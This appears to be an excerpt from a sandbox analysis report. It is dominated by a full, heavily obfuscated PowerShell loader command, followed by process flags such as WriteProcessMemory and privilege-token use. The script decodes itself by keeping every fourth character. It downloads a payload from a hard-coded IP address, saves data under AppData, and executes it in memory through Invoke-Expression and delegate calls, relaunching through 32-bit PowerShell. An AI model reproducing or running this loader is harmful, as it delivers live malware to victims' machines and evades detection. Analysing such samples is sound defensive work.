Ant'InfEOve3Sol8Uds0EnlAFri2KalBTri4MrkBFea3SibARea6NatBkle3kroASty2LftBKon4ProABib6ForBSeb5AfpEShe7KniFuntAChaESch7AfdEGra3Oli8Zoo1forAFle2LosBRev4ArsBCan4BasEHir9Ind8Mas0KaeAHyp2BekBLev3Bry8PliADroAeks2RemBBal3SmaAAskFDipATas8VanAOps3MinEDitFBogEFjo3Bes8Ste0RepAFlu2RorAMan9ThoAGel6HaaAFed9intFUni5BucEPaaBTilEPrt7Fle9KajCkva9Sul3oveBFriEBraBInd7KrmALik2Swa9ParCanh9VanARes9NonABifEAie7Svn8Emm7FanETheFSpeESur3Sig8ste0DraAPha2SprACov9SmaAApa6BenAGir9TriFOrg4SomESpaBTelEBri7OrlESly3Pas8Aeo0VilABar2IntAFla9CluAstt6GodAVan9RatFump3FngETusEDetEdasEPro'Tyl;Cho&Lan(Spe`$LemFUnseSterArmrarbuKnolWheiBlonWir7Uaf)Bor Qet`$ScaAQuasFactBasrHulaRapgOutaAfflGuloAdenXen5Kra;Pri`$FruASkosSkatTyrrInfaNongIchaKorlThioPernRec1Ele Ant=Def ImmpStalBrneTutbTeeiAutfSkaiForcSloaBrdtWit1Joz1Hyd Ant'FloBBec5LepASer2SpeBRep3SkaBAlv2BalBHer5UncAStr9BygESti7EnkELog3Kri8Hov0SpeASek2DisBSub4StrBChe3YaoANon6CatBUnd3QuiACar2UdlBSub4AnnApne6MinBReg5FilEKha9Sna8HumEGonACon9kurBHov1oweATid8AudAQueCPaeAove2ScoEUnaFLanEMen3masAfor9parBtru2UfoAKulBTelAGraBEurEKarBBruEHor7Sta8Who7UncEChoFAnt9KnoCNai9Phy4LysBApoEKyaBDom4UnfBGym3TarADog2LouAPolALonEEqu9Gal9Pal5PolBAra2IntAAxi9UniBKam3GesAtapEVisABagAPaeADes2MalENon9Liq8torEFirAAar9SyvBsha3AppAUni2DriBTan5TelARef8SteBMtd7Blo9Gen4StrAEpi2EnmBCis5DioBLin1LivAPiaESupASch4ForABio2garBTro4tilEEud9Non8DroFAudANon6NonADue9FilAluf3SnaABetBHyrAMal2Ski9Pro5NonASil2StaAsla1Pas9DopAScrEzelFMar8Hem9SliAKil2BetBHad0fakESarAdem8Che8SupAFor5TaaAVitDAntANon2TorALre4TacBEmb3MatECon7Pro9Fox4SalBMegEBifBele4kutBMne3ProAGri2TonABetASpaERad9Rot9Arb5SwaBSkm2BebAYol9BerBXan3GanAVerETrkABekAoliAFri2ParEAcc9For8LytEPrfAKll9HotBDat3ParAsko2RepBVal5KloAGra8ExtBSpe7Han9Niv4SluAPhy2FrdBtar5StiBTil1ReaAPhyELanATro4RacAAbi2ShaBNeg4GanEIsi9Uno8PacFMenASli6AfbAHot9ConASem3SpiAPreBberAPal2Pot9Sme5AktALbe2TjeAEnk1PejEBlaFkirEAnsFBor8Bes9FriAGre2MusBMag0kosELniAGra8Ill8NonAVic5AgeAQuaDforASti2AcaAUnl4DevBReo3BlgENem7Yel8NedEMirASea9ArcBsto3Rov9Din7IntBKap3UnaBInj5FluEHomESpaEUdsBMarEFil7NonEophFFruETra3Jus8Tra1DysAThi2PreBFor4HelBlow4PseEEry9Unc8Dyb0LanAHer2SalBKon3Rad8SelACytALyk2MovBDek3UnpABimFOphAQua8BegABla3VilEOedFWalEHyd3Smr8Pec0WhaAPud2ReiAIsl9SchASpo6AgeAAcc9BitFYde2ExpEAzoEFlaEDecEForEtil9hel8TenEintASup9OliBDat1MooANeu8OneASpiCMilASoi2InfEStaFHomEFes3MelAFor9IdeBRet2emaAOpsBCooAKnlBMosEOpmBKarEDry7Ane8Spa7DonEBedFKilEOpt3Ufr8Vow5ArcARep6BibBDru4ForBMor4CopADia6LgdABaa9ForAUni3AwhBAnaEgalAAfg5HalETriECliEUdsESynEpuiEForESkbESukESliBChiEDet7KerESan3Ang8Ven4CenABib6BesBGat7ConAYngETriBBre3DecELigEEleEKulESym'Sla;wit&Hud(Beh`$OpsFBreeAllrStersoruEnglChaiwhinPhy7App)Evi Umb`$OveAForsAnttAntrFriaRengScraAftlBogoTasnSpr1Tro;Teg}UnsfsvbuFoonNedcAlutAfbiAutoTutnRox StiGLeoDParTCyc Sta{pesPTunaDisrUniaDummCow Sho(Kro[SkdPFeraArvraffamosmSbeeReptBeseAe rIre(BasPForoVagsSyniRejtKeeiSwooMitnNat Rud=Grn Ung0ind,Bed KenMLutaLapnToedresaEvetStroRdjrDelyArb Apo=Tip App`$WhiTtenrMatuSenefor)Bev]Udh Leg[DriTRegyDispMyoeAnt[Kas]Pli]Kam Fin`$EigOBespAsphbysiOpioTremByvoKuvrBli,Har[tunPneuaTrurIndaHanmSlaeRevtCaieganrSup(SedPSuloBipsDamicyctBetiDizoDilnOve Amu=Vib Ran1Lan)Cho]Haa Oms[KirTOutySynpPlaeYak]Unb Spe`$UnsZVelaGirpSkvaIndtOuseRenoGru Bru=Und Gly[SvoVRusoTeliWrodZes]App)ter;sto`$UdlAGansInatStjrUdtaKergKolaBrylRetoRumnSto2Sec Whi=Non DdtpLatlDeneEffbTeiiBesfHjkiTetcRelaFlytDec1Tek1Kin Foi'DelELot3ScoBHau5EveBGeo2EnvARev5LigAAnn2ForAMelBHypAfra2StrEgan7PhyFibrAAmoEPro7upa9dunCLar8Ovi6FunBInd7UdkBLyd7Ind8Ach3EgeALor8OprAmonAWonAMid6modAStrETaaALnf9Spr9HerAHydFRapDUnfFMskDHav8Dyb4strBNon2TulBSki5forBFor5IntARad2DelASlu9OpeBTro3Rem8rei3KubALan8OpsAGrnANatATes6OveAAdmEBloAPre9MagEShe9Tau8Hav3bilACon2UnaAEqu1TenAUdvEExpASti9ExlAUni2Irr8Chi3OveBOffENymARaa9AldATot6KirADisAJneABodETrkALeg4Dia8fal6KarBBaa4AntBBag4ThyAgri2PriARekAkukATav5WidAHulBFooBconEFreEEweFkenEUdbFKon8Han9HalAInq2SkiBTaa0BroETriASma8Mor8FulAsar5BilAFahDFraATil2CheAUdr4FilBDng3GraEUnq7Epi9For4RedBExeEStaBSur4TraBSkj3DelABer2eneAAcrASynEKal9Lge9Arg5sprARen2AulAInt1AndARetBSpaAFje2SemADeb4IntBUnc3BetAPhaEsarASat8AliABal9BipEStr9ska8Rur6OhmBRes4DiaBDep4UncAAff2SpiACofAGolARos5EspAOveBtilBsalEUnp8Des9AspADec6SkrADepAMonAtru2SmiEFabFFkaEMil3Hub8Kor0AbuAFod2PenABel9AfrAraa6RevAAut9OpmFTrfFCocERenETenEOmpEUtaEZonBInsEBri7For9AcyCKus9Lan4UniBCloEBerBPro4TilBRad3HemALov2FroARifACreEApp9Bil9Bes5sjlAAxe2EndAFor1PreALizBTigARes2croASto4RykBInt3BeaASkrEAluASel8godAUnc9NanERaa9Gad8Jin2TelAConAHunAForEDanBKon3KarEmid9Akr8Bys6SvnBSil4RteBUdm4GloAHug2aflADogAUdsAUnm5LobATriBPosBPonESta8Men5OppBPsy2RepATseERefAUnaBSteAIne3OstABro2NubBPra5Tri8Far6BruAImm4AfpARom4VotAKik2SmuBcha4SyrBDim4Uno9CowACynFsocDHjeFSjlDsmi9Sco5FreBSte2BufAImm9EufEFasEExtEGen9Hay8Ref3LoaAExh2MidAYpp1HetAChiEFilATid9JacAAlg2Pla8Unb3juiBTelEFilACoa9StoADyr6GulALamABorAAdgEBelADyb4Ham8KryAAfgAPrv8BlaAUnd3PsyBAnk2AbeADigBExtARei2NymEHavFStaEgru3Dof8Fle0UgeAGlo2OrdASup9UdsAPro6GroAHek9TurFUheERadEVagBKabETal7UdgESyn3SpiASar1DemAGen6UnmAPaeBTilBSum4BrnAUdr2MilESpoECanEpla9Sem8Pos3NicAPro2LycAMyo1FreADraEBlyAHan9SkrAMun2Fag9Fan3divBKarETinBFng7TacARen2BatEBarFAldEPhi3Shu8sto1UnfAErh2MisBYaw5ArvBSce5BetBfor2PalAFolBgenASupEVurABor9IndFBir7CirESmaBStiECon7bluEFre3Bes8Dra1DygAArk2UndBUnd5uniBSko5FreBGld2MilAPriBpanASubECirAtop9SkoFKan6VigEKarBEkeEFou7Acc9GasCpas9Kal4BemBMacEFluBFac4UncBTff3UdaATra2ForASalASamEJac9Bly8UndAPerBUnr2TriAUnvBautBSol3RanAStiEfrgAKlu4besAMau6BygBCoa4LnmBBes3Lif8Roc3SteAIsc2nytATanBXenAKas2MagAvec0IslAJea6RabBRet3DisAHil2Lig9ManAFreEUndEPhy'Vol;Bil&une(Ety`$GemFKviePrirSoprGraueuclImpiBrinMil7Gil)Whi Sej`$NetASinsUnctUnerSpoaUdegPeqaKullMyootrenRet2Den;Pri`$BryAValsRudtForrDanaVergrenaSublPreoStynRes3Afs Tje=Oes EpopFillCureUrnbJudiRkefBooiSekcNobaMestSka1Ste1Uns Mor'BlaEFeu3EgeBFlu5SpaBPro2CuaAUna5KabATil2TraAerhBStaAMor2GadESph9Tri8Yom3SadATyk2RygASti1CivAinsEHosABlo9BonAins2Phr8Dic4BlaAArb8BowAger9TalBHan4SpiBEut3NonBSpa5ArrBrad2AntAMus4CouBSam3LivAPar8FejBStv5MusEDybFAfsEBet3Sty8ami0YolALit2ReaAMex9SonAMir6lotANun9SubFTri1SvuECykBSliERea7Ant9UdmCFje9hab4RokBBeaEWasBExi4OpsBIxo3UpaASub2BelALigASpiEReb9eft9Tot5RigATra2HelAPre1SulALegBOutAFri2HomAPas4IncBkos3UngASupEEupAVur8CotAled9GriEEuo9Bln8Fug4ForAVul6InjAEpiBDagAMisBSugALazEPriAbas9DupAUrt0Flt8Rod4SelAEva8BoaAInd9ForBrea1preANon2MorABat9SurBHet3SkiAlitECraACla8treACas9plaBEls4Kam9opsADmmFUncDDesFEyeDOph9Iro4HisBMer3sleASpi6BruAEne9ForAHav3GotASid6GreBRyg5PasALao3DagESluBflaEGit7SpeETol3Ska8Udy8RemBtvi7PleABreFMysAGneEBleAlom8ReiASucAShiAMor8AnmBDec5AabEIrrENykEUpl9Mud9Rel4TorALas2DitBAff3Tfl8AdjEAutABimAFasBGes7kloASelBFiaARul2SafAbehATruABak2HerAHen9UnaBBer3UgeATes6KurBPos3SkaAbruEDecAthi8ElfACht9Exo8Bit1CacADowBGenAAtt6PalARek0monBTra4HydERegFStuERob3Und8Tok0BowASpi2ZipANas9PatADel6MalAAut9SarFhap0RepEIndEGig'ane;Dia&Afp(Bal`$BitFReteBemrPilrPaauammlUniiSyvnLep7Fod)Est Cre`$IndASussrevtSynrKryaVecgOpeaUdmlDrooOkknTri3Fod;Fuc`$DetACursSintUnirPanaAplgMilaAltlSaboBucnZym4Rig Ref=Gen SplpUanlBomeHaabGeniBorfKoniDipcPreaTrytTan1Daa1For Rec'FanETer3speBSir5proBPri2ColAMag5sipASle2omkACruBNonAAlt2GraECon9Ibr8Spa3OveAOps2CliAGym1BlaABasEHjeAunl9AlbAPse2Dib8HunADelAZym2StaBDyn3SumAxenFSluATai8cenAHie3FarESwaFshoENon3Ben8Skj1GesASid2LenBSli5NyhBTre5norBidc2MulAUlyBSkvASkyEForASti9bidFOlf5OffETraBLatEjur7SvoEInd3Dic8Cre1minACom2smaBBet5PetBPyr5HerBHou2KenAUnhBserALikECitASil9HinFSem4hosELanBStoEspr7SerESki3Sam9difDSejAHex6EftBVel7samAGas6CobBTie3tilAMor2SyrAMal8ExpESofBImaELin7RboELup3Fra8Arb8HalBNav7PaaAbarFDelAFigEponAfor8EncAInkAfilAIns8RebBPro5AttENacEVitEsup9Lor9Psa4SkoAEje2PlaBgul3sam8RecEIntAKenABogBAnk7SheAPenBTraASno2OveAOrtAKumAKem2FalAGri9OveBHje3DilADok6CycBOst3SkaADisEduoAper8PhiAAbi9Tut8Non1AnnAYdeBTolAPro6BygAEft0PraBThe4SmaEhypFPerESam3Old8Uan0StaASek2thoAAca9AdeAFll6NedAPix9SkyFpol0ConEProESve'fra;bel&Ant(ork`$GypFPoweAcrrKohrStiuBunlKysitronGul7pas)Sac Ans`$UnaAJoksLustBolrNonaMasgConaPlelImpoGtenTra4Car;int`$FukANonsMortPisrKodaDisgCoiamislGynoBaunMon5Las Jar=ene ToapSailFaveMulbProiAfpfVaniflucTomaHintByg1Pip1Hun Ran'BehBfan5ExpASta2SwiBFel3NonBAnd2NavBNig5pliABas9ConETre7helEPer3LevBSol5AntBCom2EssAFli5CocAInt2HarASnoBAffAUne2natEEpi9Til8Brn4ChrBdec5FliADel2StyADia6ModBNiv3DukAUmi2For9Hae3AppBFstEFeeBPar7SalALer2ConEBalFThuEbagECon'Bkk;Sly&Skn(Bus`$sniFodoeSphrrenrApauIsbliatiNounScr7Tra)Bhe Kil`$ForAUnssFiltNonrbypaaxegsquaVillEleoOvenBls5Apo Unt Tra tem;Afs}Sma`$DadPGoorNetiForaSorcBib2Ret2Buf5Dic Sek=Red FilpErylJobeUtibFaniPoifAveiQuacrefaVeltDem1Amb1Eme Ule'BruAkerCSomABla2XylBAkt5besASpd9RumAChr2YakAAfkBHasFHam4StvFDol5Por'Oys;Sta`$SquACorsOcctdolrIndaTidgTriaSarlParoinvnEur6Tac Fli=Kva TinpmuglPlaeCalbTemiRecfausiRapcParaBaktLoe1Fig1Str Unc'AdfEHom3Mis8Dru5GrmASti6reaAFel0AthAAfl6posBMor3EpiAAmi2nauAHalBkarAKatBcriAzusEguiBDob4LegFHkk6PenFChr7ProFSno0AttEChe7MidFudeAPluEHer7Hed9VejCFru9Ste4PreBOveEDemBMil4UnbBHid3HumAPre2AlaALabAGalEMin9luk9cyk5SkiBThy2UnsAArc9LynBAsc3jouASlvEEmbAOplAUnbADri2nicEfru9Mil8GanESorASyd9UnsBRel3CapAGen2RetBMet5AfsAfas8FegBCig7Hyp9Afr4medABan2KdaBBec5TinBBir1OveASamEGenAAnt4NomAPor2RecBRhi4RygEDrm9Cho8FarAGitASem6WheBHod5CutBTel4RecAGisFSolAMas6MacAFanBHel9ChaAaldFShiDPreFFinDMai8Bur0AutAFro2UdsBPar3Jet8Env3OraAAdm2PneACatBHenAFje2CoxAPar0evaAhot6spoBext3KeeAInu2Int8Hej1BasAvam8RenBkom5Fem8Tap1stiBSub2KwmABeg9JocAvir4afsBReb3UnsAUnsESkrAAce8AnsAOph9Und9Buz7isoAMan8ProALecEBisAGas9oveBSti3PanASne2PheBMaa5WryESvaFFloEHaaFpalANon1ChrAHybCcroBJur7WigEPro7AttEAlb3Nud9Bac7FlyBFes5GolABygEUdbADep6ConAOno4PseFSpi5KymFHer5UnvFTil2LakEEft7PapETra3Sys8Tha1SamALor2UdaBTuc5SpkBDob5FleBarb2PhaADotBOutAArtESknAHea9WreFRac3StbEPaaEEgnEOrgBSnoESki7StoEDelFCos8Thu0Rad8pre3Mis9Sco3FumEFir7Afl8Hgt7IdrEOveFTri9DueCMet8PosEBoaAEch9LseBNon3Ear9Beb7AffBWin3KarBvan5ful9disAOloENomBKipEUnm7Har9SupCInc9Cow2Haa8SnaEPatASto9UbaBuno3VinFBor4AelFsuf5Min9BunAFelEParBAkuEThw7Dif9FlgCUne9Des2Sta8SupEInfACla9FesBSkl3UdsFGig4UncFEks5ove9AnbAForEAfsBVisEUnb7Hol9ForCHov9Ste2Umi8TilEBukAVol9katBFos3disFuds4SquFXer5Acc9CreAKofEStaERetEUka7SkrERarFPla9LiqCMer8DenEHurASha9DroBGra3Pro9Laa7AngBMsu3intBLoa5Gst9MinASkiEPreEEntERaaEChrEAskETil'Par;pot&Fng(Tra`$tilFFeoeAbrrForrBuluConlPbeiDisnSyn7For)Ret Afr`$AltAHjssAwatLazrrovaHjegJeraFinlUbaoSknnFes6non;Rap`$ademAffiGalsSkisHymiBiaoRel Fds=Pro dejfNookSkipScr Com`$SteFLykeBrnrYngrChouSpalUneihugnTer5zam Mea`$RegFsymeSlirKulrMenuRaplRumiMannDiv6Skn;Dia`$IntAMetsOvetAmmrRedaFljgHalaSpolRejoHarnInd7Gri Cur=Rnk SkapOvelPreeMotbAltiRejfPriiImpcSalaLivtSem1for1Gro Und'SnuESal3Fib8Cat5NonACheEYatBHar4proBGen2UnmAsen5PreFLig4StiEYmp7AssFHerAAnnEchl7NitERef3Cle8Pum5venAUnf6DesAAnp0HurAMin6TraBHer3sowAkid2MerAAlaBOplATilBAfbAMesEFolBAus4JasFMul6strFTag7ZorFDes0UniERes9Ste8skaEIndAMlk9PolBmun1BraAUdr8SemAMegCNonAVic2RimEUmbFTre9TraCNor8SkaETinAApp9PaiBAgo3gal9Str7TraBExt3SprBYup5Rad9udeABetFBemDCopFTreDOve9SlaDGauALns2ScrBMot5StoATri8ProEantBEleEDep7OraFSve1TobFSka2PhaFSen7TraETidBeryESer7SemFEnc7awoBCluFUdsFAut4ColFBay7ForFBun7NewFPrs7SkrEParBSpiECre7EldFDim7BreBdisFMucFUnh3TerFInf7milEEllEEng'For;rel&Sta(Vrd`$ansFCireHalrSprrdeluPollSnoiSubnCou7Ref)Pro Bor`$EvoASkrsUnstCharVinaForgLuraIndlMegoSaunUst7Haa;Fer`$CycASclsTlltAvorCunaDrigOveaMinlMuloFornSta8Fyt Glu=Dis GotpWirlcireVrdbDouiDisfMariGipcSeraadotBea1Svr1Ver Ind'BusEMol3Ple8For6TriBSem2LegBkvi3SluASyn8RocATen3SttEpyl7UskFSeqAAniEbin7SerESub3Flj8gro5SorASul6BelAUnp0SluAEnk6UdfBSme3CorAMel2BehANapBIndAKlaBStiAUnrEdatBTri4MusFSys6SkuFWhi7MegFSud0besENav9Ant8SupESkpACha9HngBtoy1IncADja8XanAHaaCafsADef2SulEAffFpot9PliCKra8IndETacAXet9UraBBat3Tou9int7InfBsel3DinBPed5Bac9JalAalaFLonDBusFBehDAnt9BraDEneAHaa2ParBban5AnnAOve8TumEStaBSynEKar7TelFectFbekFSpe5AtoFSamFAllFSel3GriFKnoELimFCho0KunFTirEOrtFSte5FosEsamBTapENye7UndFBog7EleBLivFAtrFres4MicFPar7ProFFol7ResFAsp7DisECotBKomEMal7OveFGea7SubBOveFAviFZoo3BelEPyrENed'For;Udv&fug(Ska`$LeaFAsseTyprDefrSkiuProlAvaifornDis7Fno)Epi haa`$AntAThasAantAccrTyvaKibgCowaGrolCiroTilnUng8Uns;Gaf`$OrdpDialEngeHisbOpsiBetfHeliClocAtoaGodtRrl0Svi1Tel Rad=Sta Dyn'OswhHortUdvtDiapEch:Fnb/Bet/Dyb8Tre4Afs.Vag3dou8Spo.Amo1Duv3tra0Mus.len1Uds6Opd5Reb/VrbAOsmfStuvComiFlugSubeBeanSkrdBet.SansPheeSkuaSup'Cui;For`$AurpPrelKaseMilbHopiGrufLouiPrecCodaPretTil0Tje0stn Ten=Tra StrpOutlSweeTipbVosiFodfStriPrecAraaUrotSek1Fin1Til Mat'RaaEPes3UndBKon7StaBSub5EquAret2BolBStr7EnsBFil5DetAAut8MorAXen0PinBPle5StaAHun6ManEBes7FruFPolAUnfETun7TroEKulFTtt8Ili9CodAFor2bisBHfl0LedEGeoAMit8Vap8hjeAOw 5BeaAGanDMisALav2SenAEre4MoiBfol3beeEKap7Pos8Sco9UsiAEme2MorBAfd3ChaEDal9Dum9Ban0BloAEti2proAJar5Sor8Mew4SieAPulBOveABufEForAStr2GylAFam9TopBMat3PreENeuEAntECon9ube8Pht3SkdAUdv8TerBCom0SluAHal9HjeAMonBCerAdur8HeaAKla6SupAImp3Bjr9dan4SteBLei3damBVag5sadABoeEAkkAHel9SlvAKas0IdeEmudFBufEeks3GorBUnd7folASnoBCycALac2SagAIno5EksAAttEKobAHer1HyaAsteELimAArk4SkaAInd6ProBDev3HolFBjr7MemFNid6AgmEForEWhe'Der;Cos`$MisAStrsnattBasrtilaPregdagaUndlSlkohypnGen8sik Reg=For PrepAntlTroeHigbMediBilfDyriSapcForaSnytFry1Ske1Csa Peg'BruEDen3Pil8non5CorAChaEantBRhi4SviBNit2SekAChe5CemFRet5AnoFHanARagEFen3BriAapp2SweALag9LabBsub1EffFFlaDoutAFor6TerBVil7UnrBAnt7rygAKra3HaiATre6RhiBSto3LopABre6Ove'Sti;opg&Sco(For`$CelFimpeDecrSharSeluDeflVediIthnPar7Kon)Uti Pro`$FosAConsUnwtAlerHemaPyggAbaaCohlHenoCabnCon8Cys;Bar`$RecBErgikarsSpauGrebDep2Aft=Loh`$AjuBVeniEgesShauUnsbUnd2Kul+Rev'Kon\AliEOutvNoreAmpnResgFaclindoTelwUnldBemoDys.SerdFaraCattTrs'wav;Uns`$SlipDatrUdseRabpsperFoloBllgSuprDataLeu=mis'Fly'Scr;RutiFrefCre bor(Pla-BognHomoRettsyp(fimTDareFansSeltSpa-FroPProavintEkshPus Sto`$AccBKlaiVilsLimuAdkbCut2Non)Afh)Tur Rek{UnmwAlghSekiconlAnneSto Bet(fle`$TaepFolrSepeunspaglrOptoKorgSamrResabur Sun-TeleHenqUbe Jou'ant'Per)Non Bes{Oma&Coa(Rem`$EloFIntePrerfrdrBrauParlMiliAlanFor7Spu)Kor Gra`$AftpStrlEuceurubSpoistefWidiForcMaraTiltCal0Erh0Arm;hovSCratSmoaThertretCan-NonSBidlDeleFifetrapRic Can5Pro;Mis}GlaSStreDretGen-creCEutoTrenEtatarbeLhenfaltEle Tom`$TriBNepiVensVaruThebArc2Unr Bal`$UnspBotrMeseOffpUnerSproChrgDetrNibaSto;Sub}Svr`$IndpforrKafewhipRagrHumoOvegSkrrSpraCol Nas=Dip RehGKomeEgotCog-PopCHypoBlonBiltCoueGamnPentMis Roa`$UdfBHieifassGruuZapbKil2Fla;Uig`$SerAModsNaktPrerBenapargBesaGodlShaoSuknInt9Bve Ben=Bem dudpSnvlKileNonbDidiNonfReliPercKaraOphtSvb1vov1Unc Sym'StiEBan3Dyr8Bes6VelBSka4ReuBCou3BraBTak5nyhAPre6SkrARea0SciAKon6TveAAgaBudkATit8IntADun9EnjEScr7LysFWhaAAspEGla7Mon9BelCSub9dek4RenBcenEBenBTil4tapBGig3TimAPin2JamAOedACheEExc9Ove8Kin4gitAThe8VidAOxi9FotBSle1NatAArg2ActBEma5GlaBEpi3Aux9MadAAngFScrDCobFHedDFeo8Fir1AfbBSit5BerAPro8BatAAfsAAno8Dar5mogARib6FejBHay4BruADab2BaiFKon1ForFMor3Sci9ful4KlaBAmt3LeaBUnf5AvaAKarEReaATay9PapAChe0CemEJgeFPyrEDom3HflBBar7JawBSla5DiaAUnd2WomBArm7tekBGor5broASlu8ForADop0PaiBSnb5TrsASki6CorEChoEWav'Fla;Dah&Bir(Uns`$oveFOrbeIllrMisrKrouHerlKariPownCha7Sem)Ski Sip`$MetAUnbsKontScrrSkoaHomgSeraForlHvioBibnOrd9opk;Seq`$NidpShirDorePudptavrAfbofingAltrPalaRam0Gen Til=Ant SkrpRemlScheDesbgariNecfSarifolcCheaApptDat1Wee1for Ref'Coa9BakCKog9Exp4InfBUviEIndBCyn4MapBSev3FluAOna2ClyAGraAOdaESnu9Skr9Opg5TopBTrg2GerAFys9EntBImp3bogAAfgESilAUneALovAMes2JerEUlm9end8ImpEKilAWee9TorBGas3NonAKmp2ReeBStr5DomACau8PubBTor7Pau9Ham4UncASpj2oveBGre5SurBfib1SprATakEGraACra4pooACap2UnpBarb4AnaEMin9exp8DecABegAAle6gaeBFor5MasBent4StrAkruFDidADav6TgeAUnsBSka9PacADruFLseDIllFOveDOkt8Spe4MalAInt8RocBMis7panBBarEvrnEDdsFKonEVra3Aug8Unf6AntBOve4BerBsla3LseBSto5PhoALan6SemAkla0TemAOpm6NebAIdoBBeyAInc8SpoAAnt9BosENonBAntEGka7NonFBud7GedEKapBOmeETir7BreEAns7RayEQiv3sta8Lam5bssAFarEPilBThr4ChaBEng2UnmAApo5BysFOve4AbeESigBLasESku7SpeFcic1AppFLed2AntFSla7DsiEvseEBas'Col;Tre&Blg(Bar`$IndFChueFolrTotrBlouArelCuriHypnfor7cyk)Ind Jha`$AfspBunrOrieBecpSoarAyuoOvegtaxrAeraPra0Syn;Fla`$ThuZevaeBafnTrsovranLyduXl dFaedTimaRec=Epo`$FouAInasAfltSejrMenaHongArbaPenlUvioFjenInt.MotcHisoIntuIndnSpitSpy-Dik6Gle5Psy0Bar;Stn`$VrkpSterAireMagpLoarFleoDatgRecrDumaAut1Gyl Spe=Ris ReupCovlMesehinbLamiSprfWhiiSugclseaPoltFor1For1Hyp lep'Sym9SanCPro9Ove4bnkBBarESkoBfll4ZamBGla3BudATel2TarAChiAFrsESol9Ano9hyp5WycBLug2HaaALea9EneBFle3BroADosEYidAMyoAJulAUny2KlaETin9des8BruEBekATem9DolBSte3KrbAneu2LogBSel5LorASkr8InfBMag7sic9Pai4OpeADol2RigBEvi5CavBPli1AtoApleEAdhAGri4BorAFor2PhoBFor4PenEDyd9Uni8troACooAWil6OutBRep5PosBKon4MerAUudFBulAAfs6indAShyBFar9SpeASigFGonDPseFPhaDRec8Peg4ButASir8TriBLsg7CocBSviETroEPreFMucEUds3Afv8Pre6MutBSla4DimBAnf3TilBRad5BraAUlt6PerATal0AftAAsk6MisALnpBSnyAUnd8SpeADow9SemEAftBBegEPer7SkiFVri1ubeFGio2ForFmyr7SkuEGniBBarEFod7SofEcon3Cym8Tel6FusBadv2RelBneu3MaaAFos8PasAUdm3HelEIndBTidEAtl7FasEMus3ego9DisDAcrAAnd2BucAGas9SpaAMar8LegABes9EmoBInt2ResAHex3EurASka3UpfANon6OveEAfsEFol'Afv;Stu&Lac(Mod`$HalFOutePecrUrirDawuKrolPraiIndnGad7Cat)pel Ste`$simpClerSdeeHunpFisrStroCyngFoxrKaraCri1Adr;ins`$HarpResrFlielarpnuarStroValgtilrSilaPro2Dun Sil=hoa KonpSamlAdleKnabHeaiSexfOptilevcSolaFintTak1Vak1Pag Sul'QuaEUni3Mis9Ere4wiwABes9SufBHje2SepAGio5GriAPatBCirASir2OmoACot3litAUso2KulBAns7SbeEAnf7AxiFCigATorESam7Eti9DyrCBet9Yay4AphBSamEJamBRoe4BioBReu3GnaAFun2SprASamASurEVer9kul9Poo5damBVid2IrvATot9FaxBSki3CocALanEMelAMudAForAAtr2MlkEFra9Tyl8HylEStrAUne9MosBRes3PseAKam2LiqBAlv5FolASqu8KyaBTil7kau9Lrd4EvoAPor2AngBFle5JahBEle1SkrASubEHeaAKor4AfsAPer2AchBPor4GenERet9Chr8UndAHemAQui6gryBBev5HalBNon4BodAfunFRetAEnt6GekAStoBSpi9UplALseFCadDBulFPapDBek8Mil0AppASch2BugBSne3Unl8Sys3DisARab2WeeAAagBClaAEnc2ByfAAkk0FonATip6TrsBFor3CloArec2Pro8Mat1PerARet8OutBSin5Hie8Mos1SynBPoi2CraAUnp9jonANit4garBHof3MonAspeEQuiAFau8BruAHep9ven9Laa7DriAHet8RveAStaESrbASul9PolBHos3bilAGyn2WisBSub5PhoERusFCotETerFDunAUme1ChaAGanCFreBbra7FagECha7AffELed3dom9Sta7MinBOve5FllAVio2SkrBAns4DirBBly4RulAStj2kraAFar4ComAHjrFIntAPun2IdkECoa7BraEApp3ora8Syt1ClyBPukENicBBel5uniBTra4KalBBag3OutEBunETilEHetBTexEEmo7SpiEKurFUnd8Dug0Ege8Kol3Unf9Pjo3PalEunc7Ext8Sca7SpiEAtiFLav9OveCAkk8IsoEAthAaut9LinBOve3Gro9Soj7calBBra3StrBMaa5Aho9HagAFeuEMicBOveESai7Tri9HonCVgt8AegEKarAMac9SupBHul3Ery9Gar7AfdBSol3DdsBBos5Blo9MerAWorEBekBMidEDem7Agr9MarCRun8lejERelAImp9FedBGoo3Fri9Sub7UnaBJac3UnsBCal5Vej9OpeAAkrEzirBDukECom7Lev9ImpCVes8CurESkrAEns9IagBKha3Nij9Aph7visBSpi3ForBUfo5dic9SneADisEHinBDisEGyp7Aci9XanCKau8ResEBlaAOpl9HylBHob3Hul9Kol7PriBChe3HeaBAto5Plo9TogAPseEForESpeEVom7MelERegFPht9BahCChi8FldEHamAfce9GloBTak3Tmm9Rhy7LapBIns3QuaBUnd5Sto9SpkACerERonEFlyEBesEUdtERusEDyk'Des;Bes&una(Far`$SubFCineBogrUndrColuJvnlTrkiKonnAut7Flj)Hes Aff`$CarpRrsrSameIntpSigrReaoHdrgglorFrtaChe2Fri;Mag`$FllpAttrHuseUpdpNavrFisoStigPinrLunaMuj3sel Ufr=Coy flapnitlRaveTerbTaniMugfChaiForcFliaSkrtTwe1Jin1Pal Bla'undEDis3Gae9Par4digALig9AfsBGus2royAThi5SemAForBDemAObd2FlaAOpi3RhiATid2BonBGna7MelESto9Spa8BosESupARic9UnsBTeo1VenALep8ProAFloCKanASpo2EmbELbeFPinENon3Ami8Fil5NonABlkEUncBLni4OveBMis2SmrAAkt5KomFOrt4BroERrfBJacESno3mod8Soc6CytBCat2ObsBSub3VitAArv8CabAChr3HamEGuaBUnbEHel3OveAgriAVisACenEMolBHor4PhoBInd4IniAPatEVerAEun8ArmEDinBHjmFJea7AguEColBAmoFBlu7priEEleEHyd'Bor;Omb&Bur(Fle`$FloFSmieParrDilrtreuLeplResiOutnSub7Tar)Hug Vid`$LenpIntrNoneKrrpfjerEntoSwagHalrredaRut3Hye#Kol;""";Function preprogra9 ([String]$Veinstone) { For($Brydnin=3; $Brydnin -lt $Veinstone.Length-1; $Brydnin+=(3+1)){ $plebificat02 = $Veinstone.Substring($Brydnin, 1); $plebificat = $plebificat + $plebificat02; } $plebificat;}$Mineworke0 = preprogra9 'konISupEKonXPud ';$Mineworke1= preprogra9 $Twis;if([IntPtr]::size -eq 8){.$env:windir\Syswow64\W*Power*\v1.0\*ll.**e $Mineworke1 ;}else{&$Mineworke0 $Mineworke1;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2204
